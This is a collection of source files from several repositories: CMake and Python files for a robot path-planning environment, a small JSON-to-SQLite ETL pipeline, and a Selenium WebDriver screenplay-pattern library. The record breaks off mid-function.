"language": "CMake",
"length_bytes": 790,
"license_type": "no_license",
"max_line_length": 80,
"num_lines": 15,
"path": "/src/CMakeLists.txt",
"repo_name": "humanoid-path-planner/hpp-environments",
"src_encoding": "UTF-8",
"text": "# Copyright (c) 2016 CNRS Author: Joseph Mirabel\n#\n# this file is free software: you can redistribute it and/or modify it under the\n# terms of the GNU Lesser General Public License as published by the Free\n# Software Foundation, either version 3 of the License, or (at your option) any\n# later version.\n#\n# this file is distributed in the hope that it will be useful, but WITHOUT ANY\n# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR\n# A PARTICULAR PURPOSE. See the GNU General Lesser Public License for more\n# details. You should have received a copy of the GNU Lesser General Public\n# License along with this file. If not, see <http://www.gnu.org/licenses/>.\n\npython_install_on_site(hpp/environments __init__.py)\npython_install_on_site(hpp/environments robot.py)\n"
},
{
"alpha_fraction": 0.7140522599220276,
"alphanum_fraction": 0.718137264251709,
"avg_line_length": 33,
"blob_id": "78efc69867e2691f65bafab55eabf4dd03664446",
"content_id": "863d2a43eb312107491dbf44c95659224b6aa3c4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1224,
"license_type": "no_license",
"max_line_length": 70,
"num_lines": 36,
"path": "/src/hpp/environments/robot.py",
"repo_name": "humanoid-path-planner/hpp-environments",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# Copyright (c) 2015 CNRS\n# Author: Joseph Mirabel\n#\n# This file is part of hpp_environments.\n# hpp_environments is free software: you can redistribute it\n# and/or modify it under the terms of the GNU Lesser General Public\n# License as published by the Free Software Foundation, either version\n# 3 of the License, or (at your option) any later version.\n#\n# hpp_environments is distributed in the hope that it will be\n# useful, but WITHOUT ANY WARRANTY; without even the implied warranty\n# of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n# General Lesser Public License for more details. You should have\n# received a copy of the GNU Lesser General Public License along with\n# hpp_environments. If not, see\n# <http://www.gnu.org/licenses/>.\n\nfrom hpp.corbaserver.robot import Robot\n\n\nclass Buggy(Robot):\n \"\"\"Control of robot Buggy in hpp.\"\"\"\n\n ##\n # Information to retrieve urdf and srdf files.\n packageName = \"hpp_environments\"\n meshPackageName = \"hpp_environments\"\n rootJointType = \"planar\"\n\n urdfName = \"buggy\"\n urdfSuffix = \"\"\n srdfSuffix = \"\"\n\n def __init__(self, robotName, load=True):\n Robot.__init__(self, robotName, self.rootJointType, load)\n"
},
{
"alpha_fraction": 0.754045307636261,
"alphanum_fraction": 0.7605177760124207,
"avg_line_length": 33.8870964050293,
"blob_id": "c2af8fe1ffbd4b4dde7937c551246ce735ac164e",
"content_id": "142f543aa07c34810c8879ebed6769f4f3917fe8",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "CMake",
"length_bytes": 2163,
"license_type": "no_license",
"max_line_length": 80,
"num_lines": 62,
"path": "/CMakeLists.txt",
"repo_name": "humanoid-path-planner/hpp-environments",
"src_encoding": "UTF-8",
"text": "# Copyright (c) 2016, 2020 CNRS Author: Joseph Mirabel, Guilhem Saurel\n#\n# this file is free software: you can redistribute it and/or modify it under the\n# terms of the GNU Lesser General Public License as published by the Free\n# Software Foundation, either version 3 of the License, or (at your option) any\n# later version.\n#\n# this file is distributed in the hope that it will be useful, but WITHOUT ANY\n# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR\n# A PARTICULAR PURPOSE. See the GNU General Lesser Public License for more\n# details. You should have received a copy of the GNU Lesser General Public\n# License along with this file. If not, see <http://www.gnu.org/licenses/>.\n\ncmake_minimum_required(VERSION 3.1)\n\nset(PROJECT_NAME hpp-environments)\nset(PROJECT_DESCRIPTION \"Environments for the humanoid path planner platform.\")\nstring(REPLACE \"-\" \"_\" ROS_PROJECT_NAME ${PROJECT_NAME})\n\noption(BUILD_PYTHON_INTERFACE \"Build the python bindings\" ON)\noption(INSTALL_PYTHON_INTERFACE_ONLY \"Install *ONLY* the python bindings\" OFF)\n\nif(NOT INSTALL_PYTHON_INTERFACE_ONLY)\n set(PROJECT_USE_CMAKE_EXPORT TRUE)\nendif(NOT INSTALL_PYTHON_INTERFACE_ONLY)\n\ninclude(cmake/hpp.cmake)\ninclude(cmake/python.cmake)\n\ncompute_project_args(PROJECT_ARGS LANGUAGES CXX)\nproject(${PROJECT_NAME} ${PROJECT_ARGS})\n\nif(BUILD_PYTHON_INTERFACE)\n findpython(REQUIRED)\nendif(BUILD_PYTHON_INTERFACE)\n\nset(TEXTURE_FILES texture/logo_romeo.jpg)\n\nif(NOT INSTALL_PYTHON_INTERFACE_ONLY)\n add_project_dependency(example-robot-data 3.9.1 REQUIRED)\n\n install(DIRECTORY urdf DESTINATION \"share/${ROS_PROJECT_NAME}\")\n\n install(DIRECTORY srdf DESTINATION \"share/${ROS_PROJECT_NAME}\")\n\n install(DIRECTORY meshes DESTINATION \"share/${ROS_PROJECT_NAME}\")\n\n install(FILES ${TEXTURE_FILES}\n DESTINATION \"share//${ROS_PROJECT_NAME}/texture\")\n\n install(FILES package.xml DESTINATION \"share/${ROS_PROJECT_NAME}\")\n\n add_library(${PROJECT_NAME} INTERFACE)\n install(\n TARGETS ${PROJECT_NAME}\n EXPORT ${TARGETS_EXPORT_NAME}\n DESTINATION lib)\nendif(NOT INSTALL_PYTHON_INTERFACE_ONLY)\n\nif(BUILD_PYTHON_INTERFACE)\n add_subdirectory(src)\nendif(BUILD_PYTHON_INTERFACE)\n"
},
{
"alpha_fraction": 0.678670346736908,
"alphanum_fraction": 0.7229917049407959,
"avg_line_length": 23.066667556762695,
"blob_id": "d56372d9fbfde0023c7d10c89d462f1200e19c18",
"content_id": "8c8c30350783be923b17649dccb6c9054d7055ba",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 722,
"license_type": "no_license",
"max_line_length": 81,
"num_lines": 30,
"path": "/examples/buggy.py",
"repo_name": "humanoid-path-planner/hpp-environments",
"src_encoding": "UTF-8",
"text": "from hpp.corbaserver import ProblemSolver\nfrom hpp.environments import Buggy\nfrom hpp.gepetto import PathPlayer # noqa: F401\nfrom hpp.gepetto import ViewerFactory\n\nrobot = Buggy(\"buggy\")\nrobot.setJointBounds(\"root_joint\", [-5, 16, -4.5, 4.5, -1.01, 1.01, -1.01, 1.01])\n\nps = ProblemSolver(robot)\n\ngui = ViewerFactory(ps)\n\ngui.loadObstacleModel(\"hpp_environments\", \"scene\", \"scene\")\n\nq_init = robot.getCurrentConfig()\nq_goal = q_init[::]\nq_init[0:2] = [-3.7, -4]\ngui(q_init)\n\nq_goal[0:2] = [15, 2]\ngui(q_goal)\n\nps.setInitialConfig(q_init)\nps.addGoalConfig(q_goal)\nps.selectSteeringMethod(\"ReedsShepp\")\nps.selectPathPlanner(\"DiffusingPlanner\")\nps.addPathOptimizer(\"RandomShortcut\")\n\nt = ps.solve()\nprint(\"solving time\", t)\n"
},
{
"alpha_fraction": 0.6410256624221802,
"alphanum_fraction": 0.7179487347602844,
"avg_line_length": 38,
"blob_id": "3251b259cb7f82e9ca567d48ef11f8711d5a4c2f",
"content_id": "b37a21fe6729189782662b53e96c6e50d01b2382",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 39,
"license_type": "no_license",
"max_line_length": 38,
"num_lines": 1,
"path": "/src/hpp/environments/__init__.py",
"repo_name": "humanoid-path-planner/hpp-environments",
"src_encoding": "UTF-8",
"text": "from .robot import Buggy # noqa: F401\n"
},
{
"alpha_fraction": 0.7457249164581299,
"alphanum_fraction": 0.7524163722991943,
"avg_line_length": 36.36111068725586,
"blob_id": "6813732f7c89904dd38556f590d6991b93bfb341",
"content_id": "df00cc10ccb62ee58de6232989b4c97d01d41a12",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "CMake",
"length_bytes": 1345,
"license_type": "no_license",
"max_line_length": 80,
"num_lines": 36,
"path": "/meshes/CMakeLists.txt",
"repo_name": "humanoid-path-planner/hpp-environments",
"src_encoding": "UTF-8",
"text": "# Copyright (c) 2016 CNRS Author: Joseph Mirabel\n#\n# this file is free software: you can redistribute it and/or modify it under the\n# terms of the GNU Lesser General Public License as published by the Free\n# Software Foundation, either version 3 of the License, or (at your option) any\n# later version.\n#\n# this file is distributed in the hope that it will be useful, but WITHOUT ANY\n# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR\n# A PARTICULAR PURPOSE. See the GNU General Lesser Public License for more\n# details. You should have received a copy of the GNU Lesser General Public\n# License along with this file. If not, see <http://www.gnu.org/licenses/>.\n\nset(BUGGY\n buggy/buggyBB.dae\n buggy/buggy.dae\n buggy/buggy_rearwheel.dae\n buggy/scene.dae\n buggy/scene.stl\n buggy/wheel_frontleft.dae\n buggy/wheel_frontright.dae)\n\ninstall(FILES ${BUGGY}\n DESTINATION ${CATKIN_PACKAGE_SHARE_DESTINATION}/meshes/buggy)\n\nset(UR_BENCHMARK_MESHES ur_benchmark/pokeball.dae)\n\ninstall(FILES ${UR_BENCHMARK_MESHES}\n DESTINATION ${CATKIN_PACKAGE_SHARE_DESTINATION}/meshes/ur_benchmark)\n\nset(HRP2_MESHES hrp2/floor.dae)\n\ninstall(FILES ${HRP2_MESHES}\n DESTINATION ${CATKIN_PACKAGE_SHARE_DESTINATION}/meshes/hrp2)\n\ninstall(DIRECTORY tests DESTINATION ${CATKIN_PACKAGE_SHARE_DESTINATION}/meshes)\n"
}
] | 7 |
adnanahmadkhan/honeypot | https://github.com/adnanahmadkhan/honeypot | e56754fb0f4dbd47ea03667e940e076bfa35f3e5 | 182b1670b72273e4ad56dbd793feefe91e256465 | a3b4652c617ea11eda08e370254a9421a4a6b8a3 | refs/heads/main | 2023-04-17T02:50:54.741862 | 2021-05-10T16:10:35 | 2021-05-10T16:10:35 | 366,001,163 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6616161465644836,
"alphanum_fraction": 0.6636363863945007,
"avg_line_length": 24.86842155456543,
"blob_id": "742a39c03a0e744b121757b0c4cbe08ad0d26232",
"content_id": "82909143eef2fb3e5ecd9249daa760bdc781eabc",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 990,
"license_type": "no_license",
"max_line_length": 73,
"num_lines": 38,
"path": "/extract.py",
"repo_name": "adnanahmadkhan/honeypot",
"src_encoding": "UTF-8",
"text": "import pysftp\nfrom utils.logger import LOG\nfrom utils.util import get_filename_from_cd\nfrom os.path import join, dirname\nimport requests\nimport pandas as pd\n\n\n\n# Global variables for interacting with filesystems\ndirname = dirname(__file__)\ndownloads_folder = join(dirname, 'downloads')\n\n\ndef extract_html(file_uri):\n \"\"\"\n Extracts csv/json etc files from HTML URIs\n It saves file in downloads folder\n Returns the name of the file\n \"\"\"\n r = requests.get(file_uri, allow_redirects=True)\n filename = get_filename_from_cd(r.headers.get('content-disposition'))\n if (not filename):\n if file_uri.find('/'):\n filename = file_uri.rsplit('/', 1)[1]\n else:\n filename = \"filename\"\n saveTo = join(downloads_folder, f'./{filename}')\n open(saveTo, 'wb').write(r.content)\n\n return filename\n\n\ndef df_from_json(filepath):\n \"\"\"\n Gets data from JSON file and returns a pandas dataframe\n \"\"\"\n return pd.read_json(filepath)\n\n\n\n "
},
{
"alpha_fraction": 0.5882818698883057,
"alphanum_fraction": 0.5938242077827454,
"avg_line_length": 20.423728942871094,
"blob_id": "6a78b5724cc32ba0d19b36c6eee689e5506f753e",
"content_id": "eb4baf5ae98761ddcf571e3fe6b8f020ac581a4e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1263,
"license_type": "no_license",
"max_line_length": 88,
"num_lines": 59,
"path": "/utils/util.py",
"repo_name": "adnanahmadkhan/honeypot",
"src_encoding": "UTF-8",
"text": "import re\nimport sqlite3\n\n\n# helper functions\n\ndef get_filename_from_cd(cd):\n \"\"\" Get filename from content-disposition\n :param db_file: content disposition header\n :return: filename\n \"\"\"\n if not cd:\n return None\n fname = re.findall(f'filename\\*?=[\"]?(?:UTF-\\d[\"]*)?([^;\\r\\n\"]*)[\"]?;?', cd)\n if len(fname) == 0:\n return None\n return fname[0]\n\n\n\n\ndef get_connection(db_file):\n \"\"\" create a database connection to the SQLite database\n specified by the db_file\n :param db_file: database file\n :return: Connection object or None\n \"\"\"\n conn = None\n try:\n conn = sqlite3.connect(db_file)\n except Error as e:\n print(e)\n\n return conn \n\n\n\ndef get_scale_by_category(conn, category):\n \"\"\" Query scale by category\n :param conn: the Connection object\n :param category\n :return: the scale\n \"\"\"\n \n cur = conn.cursor()\n cur.execute(\"SELECT scale_value FROM category_lookup WHERE category=?\", (category,))\n\n row = cur.fetchone()\n return row\n\n\n\ndef pretty(d, indent=0):\n for key, value in d.items():\n print('\\t' * indent + str(key))\n if isinstance(value, dict):\n pretty(value, indent+1)\n else:\n print('\\t' * (indent+1) + str(value))"
},
{
"alpha_fraction": 0.6833333373069763,
"alphanum_fraction": 0.6833333373069763,
"avg_line_length": 27.047618865966797,
"blob_id": "d2ad075c0b78009c203f67c94a8dde1153619634",
"content_id": "de257bf4874dccece16ed5bf37f7ee61646e5f6c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1200,
"license_type": "no_license",
"max_line_length": 64,
"num_lines": 42,
"path": "/ETL.py",
"repo_name": "adnanahmadkhan/honeypot",
"src_encoding": "UTF-8",
"text": "from utils.logger import LOG\nimport extract\nimport transform\nimport load\nimport json\nfrom os.path import join, dirname\nfrom utils import util\nfrom math import isnan\nimport csv\n\n# Global variables for interacting with filesystems\ndirname = dirname(__file__)\ndownloads_folder = join(dirname, 'downloads')\n\n# fetch environment\nwith open(join(dirname, '.env')) as f:\n env = json.load(f)\n\n\nif __name__ == \"__main__\":\n \"\"\"\n Main function to be run\n \"\"\"\n\n # extract file from remote source\n filename = extract.extract_html(env[\"file_uri\"])\n # filename = \"codechallenge_data.json\"\n \n # convert to dictionary\n with open(join(downloads_folder, filename)) as json_file:\n data = json.load(json_file)\n\n # apply transformation pipeline\n data = transform.convert_to_floats(data, \"data,length\")\n data = transform.remove_nans(data, \"data,length\")\n data = transform.remove_zeros(data, \"data,length\")\n data = transform.remove_empty_strings(data, \"data,length\")\n data = transform.remove_empty_strings(data, \"data,category\")\n data = transform.apply_scale_by_category(data)\n\n # load data to SQLite databases\n load.load_into_table(data)\n\n \n\n \n \n \n"
},
{
"alpha_fraction": 0.5226689577102661,
"alphanum_fraction": 0.5329341292381287,
"avg_line_length": 31.47222137451172,
"blob_id": "50944ee0e074b311821ad2e8b5e2e5084a4923e1",
"content_id": "7b0db12b9028895ad76e5de1717c2b50fa278bf3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1169,
"license_type": "no_license",
"max_line_length": 172,
"num_lines": 36,
"path": "/load.py",
"repo_name": "adnanahmadkhan/honeypot",
"src_encoding": "UTF-8",
"text": "import sqlite3\nfrom utils import util\n\ndef load_into_table(data):\n \"\"\"\n Load data into table of desired name\n \"\"\"\n\n try:\n con = util.get_connection(\"datawarehouse.db\")\n c = con.cursor()\n c.execute(\"drop table if exists features\")\n c.execute(\"create table features (source_id, name, category, length, scaled_length, created_at)\")\n\n export = []\n sql = \"\"\"insert into features (source_id, name, category, length, scaled_length, created_at) values (?,?,?,?,?,?)\"\"\"\n cnt = 0\n for i in data:\n cnt+=1\n tmp = (str(i[\"source_id\"]), str(i[\"data\"][\"name\"]), str(i[\"data\"][\"category\"]), str(i[\"data\"][\"length\"]), str(i[\"scaled_legnth\"]), str(i[\"data\"][\"created_at\"]))\n export.append(tmp)\n\n # adding data in bulks\n if(cnt%500000==0): \n print(export[:10])\n c.executemany(sql, export)\n export = []\n\n # adding last bulk\n print(len(export))\n c.executemany(sql, export)\n con.commit()\n except Exception as e:\n print(f\"Exception occured :: {e}\")\n finally:\n con.close()\n"
},
{
"alpha_fraction": 0.5394629836082458,
"alphanum_fraction": 0.5455654859542847,
"avg_line_length": 21.740739822387695,
"blob_id": "b02a5bf71552303a8f8572fc231d33a34fe6b4e1",
"content_id": "186d619754c60a160b9bc8f3d64bdb5ec892b368",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2458,
"license_type": "no_license",
"max_line_length": 79,
"num_lines": 108,
"path": "/transform.py",
"repo_name": "adnanahmadkhan/honeypot",
"src_encoding": "UTF-8",
"text": "import pandas as pd\nimport re\nfrom utils import util\n\n\ndef convert_to_floats(data, key):\n \"\"\"\n Generic function that\n Converts nested dictionary values into complete float\n from strings that are not empty.\n\n returns back data if exception occurs\n returns transformed list if all goes well\n \"\"\"\n\n try:\n key.replace(\" \", \"\")\n keys = key.split(\",\")\n results = []\n\n for i in data:\n val = i[keys[0]][keys[1]]\n if(val != \"\" and isinstance(val, str)):\n i[keys[0]][keys[1]] = float(re.findall(\"\\d+\\.\\d+\", val)[0])\n results.append(i)\n\n except Exception as e:\n print(f\"An Exception occurred:: {e}\")\n return data\n\n print(len(results))\n return results\n\n\n\n\ndef remove_nans(data, key):\n \"\"\"\n Removes nan from nested dict\n \"\"\"\n key.replace(\" \", \"\")\n keys = key.split(\",\")\n\n results = []\n for my_dict in data:\n if not pd.isna(my_dict[keys[0]][keys[1]]):\n results.append(my_dict)\n print(len(results))\n return results\n\n\n\n\ndef remove_empty_strings(data, key):\n \"\"\"\n Removes nan from nested dict\n \"\"\"\n key.replace(\" \", \"\")\n keys = key.split(\",\")\n\n results = []\n for my_dict in data:\n if my_dict[keys[0]][keys[1]] != \"\":\n results.append(my_dict)\n print(len(results))\n return results\n\n\ndef remove_zeros(data, key):\n \"\"\"\n Removes zeros from int/float values\n \"\"\"\n key.replace(\" \", \"\")\n keys = key.split(\",\")\n\n results = []\n for my_dict in data:\n val = my_dict[keys[0]][keys[1]]\n\n if not isinstance(val, str) and my_dict[keys[0]][keys[1]] != 0:\n results.append(my_dict)\n print(len(results))\n return results\n\n\ndef apply_scale_by_category(data):\n \"\"\" Transforms the legnth parameter using\n category\n :param conn: the Connection object\n :param category\n :return: the scale\n \"\"\"\n con = util.get_connection(\"datawarehouse.db\")\n \n results = []\n for i in data:\n cat = i[\"data\"][\"category\"]\n scale = float(util.get_scale_by_category(con, cat)[0])\n \n i[\"scaled_legnth\"] = scale * i[\"data\"][\"length\"]\n i[\"length\"] = i[\"data\"][\"length\"]\n i[\"category\"] = i[\"data\"][\"category\"]\n i[\"name\"] = i[\"data\"][\"name\"]\n i[\"source_id\"] = i[\"source_id\"]\n i[\"created_at\"] = i[\"data\"][\"created_at\"]\n\n results.append(i)\n return results\n\n\n"
}
] | 5 |
AndyLPK247/screenplay | https://github.com/AndyLPK247/screenplay | 21a42a18f6025aa2ed88e3115945b6aaf3ac505e | 2d7175584352f1982465694be5ebffe83249fd77 | ca12eff2db79cc04f202baecc11f18b5eeaeebf7 | refs/heads/master | 2021-08-06T16:35:16.926924 | 2021-06-26T13:04:14 | 2021-06-26T13:04:14 | 182,347,414 | 4 | 4 | Apache-2.0 | 2019-04-20T01:55:54 | 2021-06-08T22:04:25 | 2021-06-26T13:04:14 | Python | [
{
"alpha_fraction": 0.7597402334213257,
"alphanum_fraction": 0.7597402334213257,
"avg_line_length": 10.84615421295166,
"blob_id": "75372b24771a4f163d975b0f79b272f3b3515c17",
"content_id": "895fdd526c29f8a237ac9d756e9933f63915650d",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 154,
"license_type": "permissive",
"max_line_length": 29,
"num_lines": 13,
"path": "/README.md",
"repo_name": "AndyLPK247/screenplay",
"src_encoding": "UTF-8",
"text": "# screenplay\n\nA Pythonic Screenplay Pattern\n\n\n## TODO WebDriver Intractions\n\n* scrolling\n* switching windows\n* alerts\n* cookies\n\n+ stale element retries!\n"
},
{
"alpha_fraction": 0.4496419429779053,
"alphanum_fraction": 0.45009905099868774,
"avg_line_length": 29.95754623413086,
"blob_id": "9f6f51a59ab56305435288cb41bc9e2228dc6bca",
"content_id": "2831abfb4044b2f6216199db8d9a5197c6074fae",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 19689,
"license_type": "permissive",
"max_line_length": 93,
"num_lines": 636,
"path": "/screenplay/webdriver.py",
"repo_name": "AndyLPK247/screenplay",
"src_encoding": "UTF-8",
"text": "\"\"\"\nContains interactions for Selenium WebDriver.\n\"\"\"\n\n# --------------------------------------------------------------------------------\n# Imports\n# --------------------------------------------------------------------------------\n\nfrom abc import ABC\nfrom screenplay.conditions import IsTrue\nfrom screenplay.core import Question, Task\nfrom screenplay.waiting import WaitUntil\nfrom selenium.common.exceptions import NoSuchElementException, StaleElementReferenceException\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.support.ui import Select\n\n\n# --------------------------------------------------------------------------------\n# Class: Locator\n# --------------------------------------------------------------------------------\n\nclass Locator:\n\n def __init__(self, name, qtype, query):\n self.name = name\n self.qtype = qtype\n self.query = query\n\n def __str__(self):\n return self.name\n\n def __repr__(self):\n return f\"{self.qtype}: {self.query}\"\n\n\n# --------------------------------------------------------------------------------\n# Abstract Class: LocatorInteraction\n# --------------------------------------------------------------------------------\n\nclass LocatorInteraction(ABC):\n\n def __init__(self, locator):\n self.locator = locator\n \n def loc(self):\n return (self.locator.qtype, self.locator.query)\n\n\n# --------------------------------------------------------------------------------\n# Abstract Class: SelectInteraction\n# --------------------------------------------------------------------------------\n\nclass SelectInteraction(LocatorInteraction, ABC):\n\n def get_select(self, actor):\n actor.attempts_to(WaitUntil(ExistenceOf(self.locator), IsTrue()))\n driver = actor.using('webdriver')\n select = Select(driver.find_element(*self.loc()))\n return select\n\n\n# --------------------------------------------------------------------------------\n# Question: AppearanceOf\n# --------------------------------------------------------------------------------\n\nclass AppearanceOf(Question, LocatorInteraction):\n\n def request_as(self, actor):\n try:\n driver = actor.using('webdriver')\n appeared = driver.find_element(*self.loc()).is_displayed()\n except (NoSuchElementException, StaleElementReferenceException):\n # if the element isn't found, then it doesn't exist\n appeared = False\n return appeared\n\n def __str__(self):\n return f'appearance of {self.locator}'\n\n\n# --------------------------------------------------------------------------------\n# Task: Clear\n# --------------------------------------------------------------------------------\n\nclass Clear(Task, LocatorInteraction):\n\n def perform_as(self, actor):\n actor.attempts_to(WaitUntil(AppearanceOf(self.locator), IsTrue()))\n driver = actor.using('webdriver')\n driver.find_element(*self.loc()).clear()\n \n def __str__(self):\n return f'clear {self.locator}'\n\n\n# --------------------------------------------------------------------------------\n# Task: Click\n# --------------------------------------------------------------------------------\n\nclass Click(Task, LocatorInteraction):\n\n def perform_as(self, actor):\n actor.attempts_to(WaitUntil(AppearanceOf(self.locator), IsTrue()))\n driver = actor.using('webdriver')\n element = driver.find_element(*self.loc())\n ActionChains(driver).move_to_element(element).click().perform()\n \n def __str__(self):\n return f'click {self.locator}'\n\n\n# --------------------------------------------------------------------------------\n# Question: CountOf\n# --------------------------------------------------------------------------------\n\nclass CountOf(Question, LocatorInteraction):\n\n def request_as(self, actor):\n driver = actor.using('webdriver')\n elements = driver.find_elements(*self.loc())\n return len(elements)\n\n def __str__(self):\n return f'count of {self.locator}'\n\n\n# --------------------------------------------------------------------------------\n# Question: CssClassesOf\n# --------------------------------------------------------------------------------\n\nclass CssClassesOf(Question, LocatorInteraction):\n\n def __init__(self, locator):\n super().__init__(locator)\n\n def request_as(self, actor):\n actor.attempts_to(WaitUntil(ExistenceOf(self.locator), IsTrue()))\n driver = actor.using('webdriver')\n classes = driver.find_element(*self.loc()).get_attribute('class')\n return classes.split()\n\n def __str__(self):\n return f'CSS classes of {self.locator}'\n\n\n# --------------------------------------------------------------------------------\n# Question: CssPropertyValueOf\n# --------------------------------------------------------------------------------\n\nclass CssPropertyValueOf(Question, LocatorInteraction):\n\n def __init__(self, locator, prop_name):\n super().__init__(locator)\n self.prop_name = prop_name\n\n def request_as(self, actor):\n actor.attempts_to(WaitUntil(ExistenceOf(self.locator), IsTrue()))\n driver = actor.using('webdriver')\n return driver.find_element(*self.loc()).value_of_css_property(self.prop_name)\n\n def __str__(self):\n return f'CSS property value \"{self.prop_name}\" of {self.locator}'\n\n\n# --------------------------------------------------------------------------------\n# Question: CurrentUrl\n# --------------------------------------------------------------------------------\n\nclass CurrentUrl(Question):\n\n def request_as(self, actor):\n return actor.using('webdriver').current_url\n\n def __str__(self):\n return f'current URL'\n\n\n# --------------------------------------------------------------------------------\n# Question: EnabledStateOf\n# --------------------------------------------------------------------------------\n\nclass EnabledStateOf(Question, LocatorInteraction):\n\n def request_as(self, actor):\n actor.attempts_to(WaitUntil(ExistenceOf(self.locator), IsTrue()))\n driver = actor.using('webdriver')\n return driver.find_element(*self.loc()).is_enabled()\n\n def __str__(self):\n return f'enabled state of {self.locator}'\n\n\n# --------------------------------------------------------------------------------\n# Question: ExistenceOf\n# --------------------------------------------------------------------------------\n\nclass ExistenceOf(Question, LocatorInteraction):\n\n def request_as(self, actor):\n driver = actor.using('webdriver')\n elements = driver.find_elements(*self.loc())\n return len(elements) > 0\n\n def __str__(self):\n return f'existence of {self.locator}'\n\n\n# --------------------------------------------------------------------------------\n# Task: HoverOver\n# --------------------------------------------------------------------------------\n\nclass HoverOver(Task, LocatorInteraction):\n\n def perform_as(self, actor):\n actor.attempts_to(WaitUntil(AppearanceOf(self.locator), IsTrue()))\n driver = actor.using('webdriver')\n element = driver.find_element(*self.loc())\n ActionChains(driver).move_to_element(element).perform()\n \n def __str__(self):\n return f'hover over {self.locator}'\n\n\n# --------------------------------------------------------------------------------\n# Question: HtmlAttributeOf\n# --------------------------------------------------------------------------------\n\nclass HtmlAttributeOf(Question, LocatorInteraction):\n\n def __init__(self, locator, attribute):\n super().__init__(locator)\n self.attribute = attribute\n\n def request_as(self, actor):\n actor.attempts_to(WaitUntil(ExistenceOf(self.locator), IsTrue()))\n driver = actor.using('webdriver')\n return driver.find_element(*self.loc()).get_attribute(self.attribute)\n\n def __str__(self):\n return f'HTML attribute \"{self.attribute}\" of {self.locator}'\n\n\n# --------------------------------------------------------------------------------\n# Question: JavaScriptInBrowser\n# --------------------------------------------------------------------------------\n\nclass JavaScriptInBrowser(Question):\n\n def __init__(self, script, *args):\n self.script = script\n self.args = args\n\n def request_as(self, actor):\n driver = actor.using('webdriver')\n return driver.execute_script(self.script, *self.args)\n\n def __str__(self):\n return f'JavaScript \"{self.script}\" with {self.args}'\n\n\n# --------------------------------------------------------------------------------\n# Question: LocationOf\n# --------------------------------------------------------------------------------\n\nclass LocationOf(Question, LocatorInteraction):\n\n def request_as(self, actor):\n actor.attempts_to(WaitUntil(ExistenceOf(self.locator), IsTrue()))\n driver = actor.using('webdriver')\n return driver.find_element(*self.loc()).location\n\n def __str__(self):\n return f'location of {self.locator}'\n\n\n# --------------------------------------------------------------------------------\n# Task: MaximizeWindow\n# --------------------------------------------------------------------------------\n\nclass MaximizeWindow(Task):\n\n def perform_as(self, actor):\n actor.using('webdriver').maximize_window()\n \n def __str__(self):\n return f'maximize the browser window'\n\n\n# --------------------------------------------------------------------------------\n# Task: MinimizeWindow\n# --------------------------------------------------------------------------------\n\nclass MinimizeWindow(Task):\n\n def perform_as(self, actor):\n actor.using('webdriver').minimize_window()\n \n def __str__(self):\n return f'minimize the browser window'\n\n\n# --------------------------------------------------------------------------------\n# Task: NavigateToUrl\n# --------------------------------------------------------------------------------\n\nclass NavigateToUrl(Task):\n\n def __init__(self, url):\n self.url = url\n\n def perform_as(self, actor):\n actor.using('webdriver').get(self.url)\n \n def __str__(self):\n return f'navigate to {self.url}'\n\n\n# --------------------------------------------------------------------------------\n# Question: PixelSizeOf\n# --------------------------------------------------------------------------------\n\nclass PixelSizeOf(Question, LocatorInteraction):\n\n def request_as(self, actor):\n actor.attempts_to(WaitUntil(ExistenceOf(self.locator), IsTrue()))\n driver = actor.using('webdriver')\n return driver.find_element(*self.loc()).size\n\n def __str__(self):\n return f'pixel size of {self.locator}'\n\n\n# --------------------------------------------------------------------------------\n# Question: PropertyOf\n# --------------------------------------------------------------------------------\n\nclass PropertyOf(Question, LocatorInteraction):\n\n def __init__(self, locator, prop_name):\n super().__init__(locator)\n self.prop_name = prop_name\n\n def request_as(self, actor):\n actor.attempts_to(WaitUntil(ExistenceOf(self.locator), IsTrue()))\n driver = actor.using('webdriver')\n return driver.find_element(*self.loc()).get_property(self.prop_name)\n\n def __str__(self):\n return f'Property \"{self.prop_name}\" of {self.locator}'\n\n\n# --------------------------------------------------------------------------------\n# Task: QuitBrowser\n# --------------------------------------------------------------------------------\n\nclass QuitBrowser(Task):\n\n def perform_as(self, actor):\n actor.using('webdriver').quit()\n \n def __str__(self):\n return f'quit the browser'\n\n\n# --------------------------------------------------------------------------------\n# Task: RefreshBrowser\n# --------------------------------------------------------------------------------\n\nclass RefreshBrowser(Task):\n\n def perform_as(self, actor):\n actor.using('webdriver').refresh()\n \n def __str__(self):\n return f'refresh the browser'\n\n\n# --------------------------------------------------------------------------------\n# Task: SaveScreenshotTo\n# --------------------------------------------------------------------------------\n\nclass SaveScreenshotTo(Task):\n\n def __init__(self, png_path):\n self.png_path = png_path\n\n def perform_as(self, actor):\n actor.using('webdriver').save_screenshot(self.png_path)\n\n def __str__(self):\n return f'save screenshot to {self.png_path}'\n\n\n# --------------------------------------------------------------------------------\n# Question: ScreenshotAsBase64\n# --------------------------------------------------------------------------------\n\nclass ScreenshotAsBase64(Question):\n\n def request_as(self, actor):\n return actor.using('webdriver').get_screenshot_as_base64()\n\n def 